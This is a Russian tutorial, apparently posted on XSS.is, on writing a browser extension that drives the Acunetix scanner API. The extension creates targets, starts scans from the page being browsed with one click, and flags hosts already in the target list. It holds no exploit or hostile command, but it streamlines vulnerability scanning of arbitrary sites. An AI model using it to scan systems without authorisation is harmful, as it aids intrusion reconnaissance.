JavaScript:Copy to clipboard

document.querySelector('#save-btn').addEventListener('click', event => {
    event.preventDefault()

    let apiURL = document.querySelector('#api-url').value
    let apiKey = document.querySelector('#api-key').value
    let profileSelectedIndex = document.querySelector('#api-profile-scan').selectedIndex
    let defaultProfile = globalScanProfiles[profileSelectedIndex].profile_id

    browser.runtime.sendMessage({
        action: MSG_ACTIONS.saveData,
        acuSettings: {
            apiKey, apiURL, defaultProfile
        }
    })
})

Завершаем все назначением события на кнопку обновления профилей сканирования:

JavaScript:Copy to clipboard

async function updateScanProfiles() {
    let response = await browser.runtime.sendMessage({
        action: MSG_ACTIONS.updateProfiles
    })
}

document.querySelector('#update-scan-profiles').addEventListener('click', event => {
    event.preventDefault()
    updateScanProfiles()
})

Самое время посмотреть, что происходит в фоновых скриптах. Первым делом, нужно прописать функцию прослушивающую сообщения в рамках расширения:

JavaScript:Copy to clipboard

browser.runtime.onMessage.addListener(async (data, sender, sendResponse) => {

    switch(data.action) {
        case MSG_ACTIONS.loadData:
            let acuSettings = await getData()
            return acuSettings
        case MSG_ACTIONS.saveAndInit:
            acunetix = {
                apiKey: data.apiKey,
                apiURL: removeLastSlash(data.apiURL)
            }
            await saveData()
            let response = await updateProfilesInit()
            return response
        case MSG_ACTIONS.saveData:
            acunetix = {...acunetix, ...data.acuSettings}
            await saveData()
            return true
        case MSG_ACTIONS.clearData:
            browser.storage.local.remove('acunetix')
            return true
        case MSG_ACTIONS.updateProfiles:
            let profiles = await updateProfiles()
            return profiles
    ...
    }

    return true
})

Благодаря использованию глобального объекта MSG_ACTIONS, мы без проблем можем вычленить интересующий кусок кода. Понятное дело, что практически все крутиться в пределах трех функций объекта storage.local:

  1. Set
  2. Get
  3. Remove

JavaScript:Copy to clipboard

async function getData(){
    try{
        let data = await readLocalStorage('acunetix')
        if (data && data.apiKey) apiKey = data.apiKey
        if (data && data.apiURL) apiURL = data.apiURL

        if (data) acunetix = {...data}
        return acunetix
    } catch(e) {
        return null
    }
}

async function saveData() {
    return await browser.storage.local.set({acunetix: acunetix})
}

Обращаю внимание на присвоение к acunetix. Это глобальная переменная, в которой хранится ключ и урл апи. Периодически к нему будем обращаться.

Интересной может быть фукнция readLocalStorage, которая в сущности помогает нам приручить асинхронность при чтении из хранилища и красиво взаимодействовать с полученными данными, избегая коллбэков:

JavaScript:Copy to clipboard

async function readLocalStorage(key){
    return new Promise((resolve, reject) => {
      browser.storage.local.get([key], function (result) {
        if (result[key] === undefined) {
          reject();
        } else {
          resolve(result[key]);
        }
      });
    });
};

Мы возвращаем промис, который при наличии нужного ключа возвращает нужное значение через resolve(). В ином случае, соответственно, reject.

Ну и функции получения профилей. Их две, но по сути одна является оберткой над другой. На самом деле их бы по разному назвать, но у меня с фантазией не очень)))

JavaScript:Copy to clipboard

async function updateProfiles() {
    let response = await getRequestAPI(acunetix.apiURL, ACUNETIX_CMD.scaningProfiles, acunetix.apiKey)
    let json = await response.json()
    let result = json.scanning_profiles.map(profile => ({
        profile_id: profile.profile_id,
        name: profile.name
    }))
    acunetix = {...acunetix, scanProfiles: result}
    return result
}

async function updateProfilesInit() {
    let profiles = await updateProfiles()
    acunetix = {...acunetix, defaultProfile: profiles[0].profile_id}
    await saveData()
    return profiles
}

В коде можно наблюдать вызов и ожидание функции getRequestAPI. Эта функция находится в файле acunetix.js. Подробно разберем файл позже, сейчас важно понимать, что в нем лежит эта функция и функция postRequestAPI(). Функция get используется для получения данных из api, post для сохранения.

На этом все, что касается опций.

Интерфейс пользователя​

Выше уже приводил основные скрины приложения. Но к ним нужно добавить еще один:

1731662907729.png

Нужно учитывать, что до добавления данных от API, пользователь не может ничего делать. Учитывая, что нет никаких ухищрений, html-код привожу целиком:

HTML:Copy to clipboard

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="../css/bootstrap.min.css">
    <style>
        body {
            width: 600px;height: 500px;
        }


        #start, #process, .full-h {
            height: 100vh;
        }


    </style>
    <title>Document</title>
</head>
<body>

    <!-- Loader screen -->
    <div id="process" class="container" style="display: none;">
        <div class="row justify-content-center align-items-center full-h">
            <div class="col-sm text-center">
                <img src="../images/processing.gif" alt="">
            </div>
        </div>
    </div>
    <!-- Loader screen -->
 
    <!-- Need settings  -->
    <div id="not-init" class="container" style="display: none;">
        <div id="start" class="row justify-content-center align-items-center full-h">
            <div class="col-sm text-center">
                <h2>Ooops...</h2>
                <p>You will need to set the Acunetix API parameters to use the extension</p>
                <button id="open-options" class="btn btn-primary" >Open options</button>
            </div>
        </div>
    </div>
    <!-- Need settings  -->

    <!-- Work screen -->
    <div id="new-object" class="container" style="display: none;">
        <div class="row justify-content-center align-items-center full-h">
            <div class="col-sm text-center">
                <h3>Target not found. Create new target in Acunetix.</h3>
                <div class="row align-items-center">
                    <div class="col-6 align-items-center">
                        <button id="create-btn" class="btn btn-primary">Create</button>
                    </div>
                    <div class="col-6 align-items-center">
                        <button id="create-scan-btn" class="btn btn-success">Create & Scan</button>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <!-- Work screen -->

    <!-- Work screen -->
    <div id="object-list" class="container" style="display: none;">
        <div class="row justify-content-center align-items-center full-h">
            <div class="col-sm text-center">
                <h3>Exists targets: </h3>
                <table>
                    <thead>
                        <tr>
                            <th>
                                Address
                            </th>
                            <th>
                                Description
                            </th>
                            <th>
                                Select
                            </th>
                        </tr>
                    </thead>
                    <tbody id="targets-list">

                    </tbody>
                </table>
            </div>
        </div>
    </div>
    <!-- Work screen -->

    <!-- Work screen -->
    <div id="object-info" class="container" style="display: none;">
        <div class="row justify-content-center align-items-center full-h">
            <div id="object-details" class="col-sm text-center">
          
            </div>
        </div>
    </div>
    <!-- Work screen -->

    <!-- Starting scan -->
    <div id="select-profile" class="container" style="display: none;">
        <div id="start" class="row justify-content-center align-items-center">
            <div class="col-sm text-center">
                <h3>Select scan profile</h3>
                <h4 id="scan-url"></h4>
                <form>
                    <div id="profiles-info" class="mb-3">
                        <select id="api-profile-scan" class="form-select">
                        </select>
                    </div>
                    <button id="save-btn" class="btn btn-primary">Start scan</button>
                </form>
            </div>
          </div>
    </div>
    <!-- Starting scan -->
 
    <script src="../../ext_js/global.js"></script>
    <script src="../js/popup.js"></script>
</body>
</html>

popup.js​

Важно понимать, что каждый раз когда появляется всплывающее окно, приложение полностью создается с нуля. Расширение не “помнит”, что вы минуту назад уже открывали попап. Поэтому, каждый раз при создании, нам нужно будет уточнять состояние. Для этого у нас будет несколько косвенных маркеров. Писать отдельно состояние для каждого домена можно, но пошел по этому пути. В моем случае есть несколько условных маркеров:

  1. Нет данных по апи, соответственно выводится экран с кнопкой перехода к опциям
  2. Нет данных о объекту в локальном хранилище.
  3. Есть данные по списку объектов
  4. Есть данные по конкретному объекту

Вылилось это все в такую функцию:

JavaScript:Copy to clipboard

async function init() {
    let data = await browser.runtime.sendMessage({
        action: MSG_ACTIONS.loadData
    })

    if (!data)
        return showNeedSettings()
 
    let targets = await browser.runtime.sendMessage({
        action: MSG_ACTIONS.getTargetsInfo
    })
 
    if (targets.length > 1) return showTargetsList(targets)

    showTargetInfo(targets)
}

init()

Дальше главное не запутаться в функциях и файлах. Самая простая это показать “нужны параметры”:

JavaScript:Copy to clipboard

function hideAllDivs() {
    document.querySelector('#process').style.display = 'none'
    document.querySelector('#not-init').style.display = 'none'
    document.querySelector('#new-object').style.display = 'none'
    document.querySelector('#object-list').style.display = 'none'
    document.querySelector('#object-info').style.display = 'none'
    document.querySelector('#select-profile').style.display = 'none'
}

function showNeedSettings() {
    hideAllDivs()
    document.querySelector('#not-init').style.display = 'block'
}

Соответственно, hideAllDivs() нужна исключительно чтобы не заморачиваться с сокрытием экранов.

Займемся логикой:

JavaScript:Copy to clipboard

let targets = await browser.runtime.sendMessage({
        action: MSG_ACTIONS.getTargetsInfo
})

В фоновых скриптах мы вызываем следующие действия:

JavaScript:Copy to clipboard

browser.runtime.onMessage.addListener(async (data, sender, sendResponse) => {

    switch(data.action) {
      ...
        case MSG_ACTIONS.getTargetsInfo:
            let targetsInfo = await getTargetsInfo()
            return targetsInfo
  ...
    }

    return true
})

async function getTargetsInfo() {

    let {hostname} = await getURL()
    let targets = []
 
    try{
        targets = await readLocalStorage(hostname)

        if (targets.length > 1) {
            return targets
        }
        if (!targets.target_id) throw new Error('Empty object')
        return await getTargetDetails(targets.target_id)
    } catch(e) {
        targets = []
    }

    targets = await getTargetsFromAPI(hostname)
    if (!targets || !targets.length) return []
    await browser.storage.local.set({[hostname]: targets})

    if (targets.length > 1) {
        return targets
    }

    return await getTargetDetails(targets[0].target_id)
}

Логика getTargetsInfo() такая:

  1. Узнаем имя хоста при помощи getURL(). Имя хоста это ключ по которому хранятся данные в storage.local
  2. Пытаемся прочитать информацию об объекте из локального хранилища.
  3. Если локальное хранилище пустое, пытаемся получить информацию из апи.

В любом случае все заканчивается проверкой, не является ли объект массивом. Если это массив, просто возвращаем его, пользователю будет показан список и предложено выбрать. Если у нас одиночный объект, то управление передается функции getTargetDetails().

JavaScript:Copy to clipboard

async function getTargetDetails(targetId) {
    let targetInfoResponse = await getRequestAPI(acunetix.apiURL, ACUNETIX_CMD.targets, acunetix.apiKey,'', targetId)
    let targetInfo = await targetInfoResponse.json()
    let continueScansResponse = await getRequestAPI(acunetix.apiURL, ACUNETIX_CMD.scans, acunetix.apiKey, `q=target_id:${targetId}`)
    let continueScans = await continueScansResponse.json()
    let scans = []
    let result = {}

    if (continueScans && continueScans.scans && continueScans.scans.length) {

        scans = continueScans.scans
                    .filter(el => el.target_id == targetId)
                    .map(el => ({
                        profile_name: el.profile_name,
                        criticality: el.criticality,
                        current_session: el.current_session,   
                        scan_id: el.scan_id,
                        apiURL
                    }))

    }

    result = {...targetInfo, scans: [...scans]}
    return result
}

Функция делает два запроса к API. Первый запрос, это детальная информация по объекту. Второй запрос, это информация по сканированиям связанных с объектом. После функция упрощает информацию о сканированиях, так как там много лишнего, далее объединяет два объекта.

1731663065150.png

Так выглядят объекты сканирования до упрощения:

1731663082602.png

Как видно, на входе достаточно сложный объект. Более того, включающий в себя “target”, информация о котором у нас уже имеется.

Вернемся к коду попапа. В результате выполнения getTargetDetails() мы придем к функции showTargetInfo() демонстрирующей подробную информацию:

JavaScript:Copy to clipboard

function showTargetInfo(targetInfo) {
    if (!targetInfo || !targetInfo.scans || targetInfo.code) return showNewTarget()

    let divInfo = document.querySelector('#object-details')
    const h3 = document.createElement('h3')
    const pDesc = document.createElement('p')
    const aAddress = document.createElement('a')
    const table = document.createElement('table')

    divInfo.innerHTML = ``
    h3.innerText = targetInfo.fqdn
    pDesc.innerText = targetInfo.description
    aAddress.href = targetInfo.address
    aAddress.innerText = targetInfo.address

    targetInfo.scans.forEach(scan => {
        const tr = document.createElement('tr')
        const td1 = document.createElement('td')
        const td2 = document.createElement('td')
        const td3 = document.createElement('td')
        const td4 = document.createElement('td')
        const td5 = document.createElement('td')
        const a = document.createElement('a')

        a.href = 'https://localhost:3443/#/scans/' + scan.scan_id + '/info'
        a.innerText = scan?.profile_name  || 'null'
        td1.append(a)
        td2.innerText = scan?.current_session?.start_date?.split('T')[0] || 'not started'
        td3.innerText = scan?.current_session?.severity_counts?.critical || '0'
        td4.innerText = scan?.current_session?.severity_counts?.high || '0'
        td5.innerText = scan?.current_session?.status || 'null'
        td3.classList.add('border', 'border-danger', 'rounded-circle', 'bg-danger', 'text-light')
        td4.classList.add('border', 'border-warning', 'rounded-circle', 'bg-warning', 'text-light')
        tr.append(td1, td2, td3, td4, td5)
        table.append(tr)
    })

    const buttonUpdate = document.createElement('button')
    const buttonScan = document.createElement('button')
    const divButtons = document.createElement('div')

    divButtons.classList.add('container-fluid', 'align-space-between')
    buttonUpdate.innerText = 'Update'
    buttonUpdate.classList.add('btn', 'btn-primary')
    buttonUpdate.dataset.id = targetInfo.target_id
    buttonUpdate.addEventListener('click', clickButtonSelectHandler)
    buttonScan.innerText = 'New Scan'
    buttonScan.classList.add('btn', 'btn-success')
    buttonScan.dataset.id = targetInfo.target_id
    buttonScan.addEventListener('click', createNewHandler)
    divButtons.append(buttonUpdate, buttonScan)
    divInfo.append(h3, aAddress, pDesc, table, divButtons)

    hideAllDivs()
    document.querySelector('#object-info').style.display = 'block'
}

Функция длинная, но в сущности ничего необычного. Просто создается ряд html- элементов, включая таблицу с информацией. После добавляется это все на “экран” приложения. Вместе с информацией выводится две кнопки:

  1. Принудительное обновление информации из апи. Я не предусмотрел механизма обновления информации, так как сложно предположить ситуацию, когда на протяжении всего сканирования вы продолжаете копаться на сайте.
  2. Создание нового сканирования. Эта кнопка нужна в том случае, если когда-то давно вы уже сканили таргет и есть желание запустить заново.

В целом, остальной код в popup не имеет больше каких-то особенностей. Вот, например, функция вывода списка целей:

JavaScript:Copy to clipboard

function showTargetsList(targets) {
    let divTL = document.querySelector('#targets-list')
    divTL.innerHTML = ``

    targets.forEach(el => {
        const tr = document.createElement('tr')
        const tdAddress = document.createElement('td')
        const tdDesc = document.createElement('td')
        const tdButton = document.createElement('td')
        const button = document.createElement('button')

        button.innerText = 'Select'
        button.classList.add('btn', 'btn-primary')
        button.dataset.id = el.target_id
        button.addEventListener('click', clickButtonSelectHandler)
        tdAddress.innerText = el.address
        tdDesc.innerText = el.description
        tdButton.append(button)
        tr.append(tdAddress, tdDesc, tdButton)
        divTL.append(tr)
    })

    hideAllDivs()
    document.querySelector('#object-list').style.display = 'block'
}

Как видно, все тоже самое. Создание html-объектов на лету. Добавление на экран. Назначение событий на кнопки. Соответственно, практически все вызовы кнопок это передача управления фоновому скрипту.

Вернемся к фоновому скрипту и посмотрим на полную функцию обрабатывающую события из других окон.

JavaScript:Copy to clipboard

browser.runtime.onMessage.addListener(async (data, sender, sendResponse) => {

    switch(data.action) {
        case MSG_ACTIONS.loadData:
            let acuSettings = await getData()
            return acuSettings
        case MSG_ACTIONS.saveAndInit:
            acunetix = {
                apiKey: data.apiKey,
                apiURL: removeLastSlash(data.apiURL)
            }
            await saveData()
            let response = await updateProfilesInit()
            return response
        case MSG_ACTIONS.saveData:
            acunetix = {...acunetix, ...data.acuSettings}
            await saveData()
            return true
        case MSG_ACTIONS.clearData:
            browser.storage.local.remove('acunetix')
            return true
        case MSG_ACTIONS.updateProfiles:
            let profiles = await updateProfiles()
            return profiles
        case MSG_ACTIONS.getTargetsInfo:
            let targetsInfo = await getTargetsInfo()
            return targetsInfo
        case MSG_ACTIONS.getTargetDetails:
            return await selectTarget(data.targetId)
        case MSG_ACTIONS.createTarget:
            let newTarget = await createTarget()
            return await getTargetDetails(newTarget.target_id)
        case MSG_ACTIONS.createTargetAndScan:
            return await createTargetAndScan()
        case MSG_ACTIONS.createNewScan:
            await createNewScan(data.targetId)
            return await getTargetDetails(data.targetId)
    }

    return true
})

Большую часть мы уже разобрали. Более того, в неразобранной части большинство функций известно. Осталось всего несколько сервисных функций, по ним и пробежимся:

JavaScript:Copy to clipboard

async function selectTarget(targetId) {
    let {hostname, origin} = await getURL()
    let targetInfo = await getTargetDetails(targetId)

    if (targetInfo && targetInfo.code && targetInfo.code == '404') {
        await browser.storage.local.remove(hostname)
        return []
    }
 
    await browser.storage.local.set({[hostname]: targetInfo})
    return targetInfo
}

Это функция выбора из списка целей. В ней мы просто получаем детальные данные, далее проверяем код ответа. В случае отсутствия объекта, мы получим “404”. Если просто сохранить данные, то пользователь увидит кучу undefined, что не хорошо. В этом случае просто вернем пустой список, тогда логика попапа отработает правильно и пользователь увидит предложение создать новый объект. Если все ок, просто сохраняем данные и возвращаем подробную инфу.

Обращаю внимание, что при получении объекта URL у меня десериализуется две переменных: hostname и origin. Оставил так сугубо для демонстрации. Я выбрал работу через имя хоста, но это не обязательно правильно и удобно для всех. Возможно, вы захотите отдельно создавать объект по http протокол, отдельно под https. Ну, как пример.

JavaScript:Copy to clipboard

async function createTarget() {

    let {hostname, origin} = await getURL()
    let newTarget = {
        "address": origin,
        "description": "Created By Browser Extension",
        "type": "default"
    }

    let response = await postRequestAPI(acunetix.apiURL, ACUNETIX_CMD.targets, acunetix.apiKey, newTarget)
    let newTargetInfo = await response.json()

    await browser.storage.local.set({[hostname]: newTargetInfo})

    return newTargetInfo
}

Функция формирует простейший новый таргет. Подробнее про создание таргетов можно прочитать в соответствующей статье, не вижу смысла на этом останавливаться. Далее этот объект, методом POST пересылается в Acunetix. Так устроен его апи, если гет это получение данных, пост сохранение.

JavaScript:Copy to clipboard

async function createNewScan(targetId) {
    const newScanParams =
    {
        "target_id": targetId,
        "profile_id": acunetix.defaultProfile,
        "incremental": false,
        "schedule": {
            "disable": false,
            "start_date": null,
            "time_sensitive": false
        }
    }

    let response = await postRequestAPI(acunetix.apiURL, ACUNETIX_CMD.scans, acunetix.apiKey, newScanParams)
    let newScan = await response.json()

    return newScan
}

Функция создания сканирования работает аналогично функции создания нового таргета. Объект, отправить объект на апи, вернуть ответ.

Неразобранной осталась функция создания объекта и нового сканирования. Конечно же, это просто функция-обертка для двух предыдущих функций:

JavaScript:Copy to clipboard

async function createTargetAndScan() {
    const target = await createTarget()
    const scan = await createNewScan(target.target_id)

    return getTargetDetails(target.target_id)
}

Вот, практически, и все расширение. Конечно же, написание кода было подольше описания его здесь и сопровождалось сотней переписываний, ну что поделать… участь разработки такова. А у нас остался только один файл, который мы не рассматривали. Это файл acunetix.js

JavaScript:Copy to clipboard

const ACUNETIX_CMD = {
    scaningProfiles: '/scanning_profiles',
    targets: '/targets',
    scans: '/scans'
}

async function requestApi(url, options) {
    let response = fetch(url, options)
    return response
}

async function getRequestAPI(apiURL, apiMethod, apiKey, params, path) {
    let url = `${apiURL}${apiMethod}`
    const options = {
        method: 'GET',
        headers: {
            'Content-Type': 'application/json',
            'X-Auth': apiKey
        }
    }

    if (path)
        url += '/' + path

    if (params)
        url += '?' + params

    return requestApi(url, options)
}

async function postRequestAPI(apiURL, apiMethod, apiKey, payload) {
    let url = `${apiURL}${apiMethod}`
    const options = {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'X-Auth': apiKey
        }
    }

    if (payload)
        options.body = JSON.stringify(payload)

    return requestApi(url, options)
}

Всего лишь две функции-обертки, getRequestAPI и postRequestAPI, для requestApi. Которая в свою очередь является простейшей оберткой для fetch. Почему не использовал fetch? Так удобнее. Как минимум, можно запихнуть в функцию console.log и отслеживать все запросы к апи. А в целом, часто в подобную функцию можно что-то и более полезное подпихнуть, поэтому стараюсь максимально оборачивать. Хотя иногда надоедает, но вы заметили, наверное, как у меня сильно меняется код в разных частях))))

И это все?​

Когда статья уже была дописана и оставалось её перенести на XSS.is, что-то ёкнуло внутри. А достаточно ли полезным получился хелпер? Может его можно как- то сделать лучше? Все же скопируют, еще и подпишут хреном. Нужно чтобы было не стыдно. Вдруг еще на статью ссылку оставят. Короче, надо было как-то улучшить ситуацию и я придумал как! Всегда хотел это сделать, но всегда откладывал в долгий-долгий ящик. Посмотрите на эту картинку:

1731663289378.png

Вас никогда не бесило, что нет кнопки “Добавить все”? А не бесил тот факт, что здесь нет никакого указания на то, добавлен ли домен уже в базу таргетов? И даже при добавлении таргета, если уже есть дубль, вы об этом никогда не узнаете!

Как понять, какие из этих 198 хостов уже добавлены как таргеты и оперативно добавить их? Скопировать в файли, почистить, написать скрипт чека (хуже того, чекать руками) есть таргет в окуне, после грузить как CSV?

Долой несправедливость! Нам нужен хороший удобный рабочий инструмент!!!

Хочу следующие функции:

  1. Добавить рядом с Discovered Hosts количество хостов не добавленных как таргеты
  2. Подсветить цветом новые и старые таргеты
  3. Добавить кнопку “Добавить все хосты”, которая будет добавлять только новые хосты
  4. Хочу при импорте большого количества объектов видеть какие из них уже есть в базе или, хотя бы, возможно есть в базе.
  5. Добавить красоту в виде загрузкичка.

Думаю, теперь вы понимаете, почему я решил сделать отдельную статью. Честно сказать, я аж кайфанул, когда решил это все сделать. Кода немного, зато сколько проблем снимается.

Загрузчик​

Начнем с простых улучшений. Меня бесит отсутствие индикатора загрузки. Вернее как отсутствие… в коде страницы попап уже был добавлен “загрузчик”, но я забыл прописать его вывод. Чтобы это исправить, поправлю функцию сокрытия всех экранов. Нужно скрывать все, а процесс, наоборот, показывать.

JavaScript:Copy to clipboard

function hideAllDivs() {
    document.querySelector('#not-init').style.display = 'none'
    document.querySelector('#new-object').style.display = 'none'
    document.querySelector('#object-list').style.display = 'none'
    document.querySelector('#object-info').style.display = 'none'
    document.querySelector('#select-profile').style.display = 'none'
    document.querySelector('#process').style.display = 'block'
}

Все вызовы функции сокрытия повешу на события кнопок и инициализацию. Так правильнее. Раз инициирован какой-то процесс, нужно скрыть интерфейс.

JavaScript:Copy to clipboard

document.querySelector('#create-btn').addEventListener('click', async event => {
        event.preventDefault()
        hideAllDivs()
        let targetInfo = await browser.runtime.sendMessage({
            action: MSG_ACTIONS.createTarget
        })

        showTargetInfo(targetInfo)
    })

Для вывода правильного экрана создам отдельную сервисную функцию .

JavaScript:Copy to clipboard

function showFinallDiv(finalDivId) {
    document.querySelector('#process').style.display = 'none'
    document.querySelector(`#${finalDivId}`).style.display = 'block'
}

Останется заменить прямые “включения” экранов на вызов функции с нужным идентификатором.

Чекаем импорт​

1731663337892.png

Такой результат мы должны получить по итогу. На мой взгляд очень приятная картинка. Подгрузил CSV, быстренько пролистал удаляя красные объекты и загружай чистую базу.

Первое, что нужно понимать, это то, что нам потребуются контентные скрипты. Из фона, у нас нет доступа к коду страницы, а данные брать нужно именно оттуда. Я, как и раньше запихну их в манифест:

JavaScript:Copy to clipboard

"content_scripts": [
        {
            "matches": ["https://localhost/*"],
            "js": ["ext_js/global.js", "ext_js/import_csv.js"],
            "run_at": "document_end"
        }
    ],

Далее есть нюанс. Когда вы жмете на “Import CSV”, не происходит смены адреса. Происходит добавление новых компонентов на страницу. И здесь у нас есть несколько вариантов взаимодействия. Можно в интерфейс попапа добавить экран с которого руками запускать процесс. Но с точки зрения удобства и обучения, рассмотрим более интересный вариант, связанный с использованием MutationObserver и его методом observe().

Этот метод позволяет отслеживать изменения в DOM, причем достаточно тонко фильтруя с чем работаем. Но подробного обзора делать не стану, можете спокойно в гугле найти достаточно хороших примеров работы. В нашем случае код будет выглядеть так:

JavaScript:Copy to clipboard

const observer = new MutationObserver((mutations) => {
        for(let mutation of mutations) {
            for(let node of mutation.addedNodes) {
                if (!(node instanceof HTMLElement)) continue;
          
                let inputs = node.getElementsByTagName('input')

                if (inputs && inputs.length) {
                    browser.runtime.sendMessage({
                        action: MSG_ACTIONS.checkTargetExists,
                        inputField: inputs[0].value
                    })
                }
            }
        }
    });

    observer.observe(document.querySelector('acx-add-targets'), {
        childList: true,
        subtree: true,
    });

Сначала создаем объект обсёрвера, передав в конструктор коллбэк-функцию. Далее вызываем метод observe(), передав ему фильтры. Начнем с того, что нас интересует тэг “acx-add-targets”. Именно в него команда окуня обернула инпуты с параметрами добавляемых таргетов. Передача observe() методу HTML-элемента позволяет избежать обработки лишнего. Ну и, соответственно, наш метод должен работать по дереву ниже от указанного элемента и с его потомками.

Внутри коллбэка нужно перебрать все мутации произошедшие на странице. Опять же, углубляться не вижу смысла, вы и сами можете увидеть два цикла позволяющие обойти все узлы. Внутри узлов мы ищем инпуты и, если есть хоть один, перекидываем url в фоновый скрипт.

Изменения в фоновом скрипте:

JavaScript:Copy to clipboard

async function checkTargetExists(targetURL) {
    let {hostname} = new URL(targetURL)
    let targets = await getTargetsByHostname(hostname)
    if (!targets.length) return

    let tabs = await browser.tabs.query({
        active: true,
        currentWindow: true
    })

    tabs.forEach(async tab => browser.tabs.sendMessage(
        tab.id,
        {
            action: MSG_ACTIONS.highlightInput,
            payload: targetURL
        }
    ))
 
    return true
}

browser.runtime.onMessage.addListener(async (data, sender, sendResponse) => {

    switch(data.action) {
  ...     
        case MSG_ACTIONS.checkTargetExists:
            checkTargetExists(data.inputField)
            return true
    }

    return true
})

Большая часть кода уже не нова. Слушатель получает сообщение с урлом и вызывает новую функцию чека. Далее, через getTargetsByHostname() проверяется существования таргета. Если есть хотя бы один таргет, отправляем соответствующее сообщение в контентный скрипт. Получается этакий пинг-понг.

Только отправка сообщения в контентный скрипт выполняется не через runtime.sendMessage, а через tabs.sendMessage. Отправка в контентный скрипт производится именно таким способом. Соответственно, здесь у нас появляется узкое место. Нам нужно найти нужный таб. Я сделал это через получение активного таба, соответственно, до окончания работы скрипта нельзя переключаться на другие закладки.

Важно не забыть в объект MSG_ACTIONS файла global.js два новых свойства: checkTargetExists и highlightInput. Плюс добавить туда функцию sleep, она нам потребуется чтобы избежать ошибок. По сути, это всем известный хук:

JavaScript:Copy to clipboard

const sleep = async ms => await new Promise((resolve) => setTimeout(resolve, ms))

Функция sleep нужна для построения цикла поиска HTML-элемента “acx-add- targets”. Дело в том, что наш скрипт подгружается слишком рано, когда объект еще не добавлен. В итоге, MutationObserver выбросит ошибку и ничего работать не будет. Поэтому, добавил такой кусок кода:

JavaScript:Copy to clipboard

let mainFrame = document.querySelector('acx-add-targets')

    while(!mainFrame) {
        console.log('Not found main frame')
        mainFrame = document.querySelector('acx-add-targets')
        await sleep(500)
    }

Соответственно, обернув кусок кода в асинхронную функцию. Итоговый код контентного скрипта будет выглядеть так:

JavaScript:Copy to clipboard

async function mainImportCSV() {

    let mainFrame = document.querySelector('acx-add-targets')

    while(!mainFrame) {
        mainFrame = document.querySelector('acx-add-targets')
        await sleep(500)
    }

    const observer = new MutationObserver((mutations) => {

        for(let mutation of mutations) {
 
            for(let node of mutation.addedNodes) {
                if (!(node instanceof HTMLElement)) continue;
          
                let inputs = node.getElementsByTagName('input')


                if (inputs && inputs.length) {
                    browser.runtime.sendMessage({
                        action: MSG_ACTIONS.checkTargetExists,
                        inputField: inputs[0].value
                    })
                }
            }
        }
 
    });

    observer.observe(document.querySelector('acx-add-targets'), {
        childList: true,
        subtree: true,
    });
}

if (window.location.href == "https://localhost:3443/#/targets/add-multiple") {
    mainImportCSV()
}

browser.runtime.onMessage.addListener(async (message) => {

    if (message.action == MSG_ACTIONS.highlightInput) {
        let input = Array.from(document.querySelectorAll('input')).filter( el => el.value == message.payload)[0]
        input.style.background = 'red'
        input.style.color = 'white'
    }

    return true

});

Discovered Hosts​

Функции, которые осталось реализовать, по сути, об одном и том же. В том смысле, что нам нужно получить список хостов и исходя из этого списка нужно внести изменения в интерфейс.

В целом, поступим так же, как и с импортом из CSV. Добавлю еще одну функцию, которая будет вешать MutationObserver. В свою очередь, функцию запускать по window.location.href.

JavaScript:Copy to clipboard

async function updateDiscoveredHosts() {
 
}

if (window.location.href == "https://localhost:3443/#/targets/add-multiple") {
    mainImportCSV()
} else if(window.location.href.startsWith('https://localhost:3443/#/scans/')) {
    updateDiscoveredHosts()
}

Но здесь есть слабое место, которое я упустил. Так как переход между экранами Acunetix происходит без перезагрузки страницы, скрипт не перезагружается, а значит наши функции отработают один раз. Соответственно, при переходах скрипт перестанет работать. Чтобы решить эту проблему, сделаем хук, снова обратившись к MutationObserver, но следить будем за изменениями пути:

JavaScript:Copy to clipboard

let oldHref = document.location.href;
const body = document.querySelector('body');
const observer = new MutationObserver(mutations => {
  if (oldHref !== document.location.href) {
    oldHref = document.location.href;
 
    if (window.location.href == "https://localhost:3443/#/targets/add-multiple") {
        mainImportCSV()
    } else if(window.location.href.startsWith('https://localhost:3443/#/scans/')
                && window.location.hash != '#/scans/') {
        console.log('Scan params')
        updateDiscoveredHosts()
    }
  }
});

observer.observe(body, { childList: true, subtree: true });

Второй момент в том, что по факту, в фоновых скриптах код должен быть практически идентичный предыдущему. Разница только в том, что должен делать контентный скрипт. Чтобы не дублировать код, решил при отправке сообщения добавить еще один параметр — callbackType. В нем будем передавать, какой тип обработки планируется:

JavaScript:Copy to clipboard

browser.runtime.sendMessage({
                        action: MSG_ACTIONS.checkTargetExists,
                        inputField: inputs[0].value,
                        callbackType: MSG_ACTIONS.highlightInput
                    })

Соответственно, в фоне тоже вносим изменения, добавив проброс параметра:

JavaScript:Copy to clipboard

case MSG_ACTIONS.checkTargetExists:
            checkTargetExists(data.inputField, data.callbackType)
            return true

И, конечно же, в самой функции чека тоже нужны изменения. Добавить параметр и поменять возврат:

JavaScript:Copy to clipboard

async function checkTargetExists(targetURL, callbackType) {
    ...

    tabs.forEach(async tab => browser.tabs.sendMessage(
        tab.id,
        {
            action: MSG_ACTIONS[callbackType],
            payload: targetURL
        }
    ))
 
    ...

}

Пока забудем о фоновых скриптах. Позже нужно будет вернуться и добавить изменения, связанные с запуском нового сканирования и добавлением пачки таргетов, но это позже. Пока добьем контентный скрипт. А именно, добавим подсчет хостов не добавленных в таргеты и выделение их цветом.

Не забудем добавить новое свойство в глобальный MSG_ACTIONS:

JavaScript:Copy to clipboard

highlightHost: 'highlightHost'

Вот как будет выглядеть результат работы нашего скрипта. Забегая вперед скажу, что это крайне кайфовая штука)))

1731663580235.png

Начнем с раскраса. Пойду стандартным путем, сначала раскрасив все объекты в серый цвет. После, все найденные объекты покрасим в зелененький. Чтобы реализовать это все, идем в нашу новую функцию updateDiscoveredHosts

JavaScript:Copy to clipboard

async function updateDiscoveredHosts() {
    let hostsFrame = document.querySelectorAll('mat-card')[5]

    while(!hostsFrame) {
        mainFrame = document.querySelectorAll('mat-card')[5]
        await sleep(500)
    }

    const observer = new MutationObserver((mutations) => {

        for(let mutation of mutations) {
      
            for(let node of mutation.addedNodes) {
                if (!(node instanceof HTMLElement)) continue;
                if (!node.classList.contains('row-space-between')) continue;

                let host = node.childNodes[0].innerText
                node.style.background = '#dddddd'

                browser.runtime.sendMessage({
                    action: MSG_ACTIONS.checkTargetExists,
                    inputField: host,
                    callbackType: MSG_ACTIONS.highlightHost
                })
            }
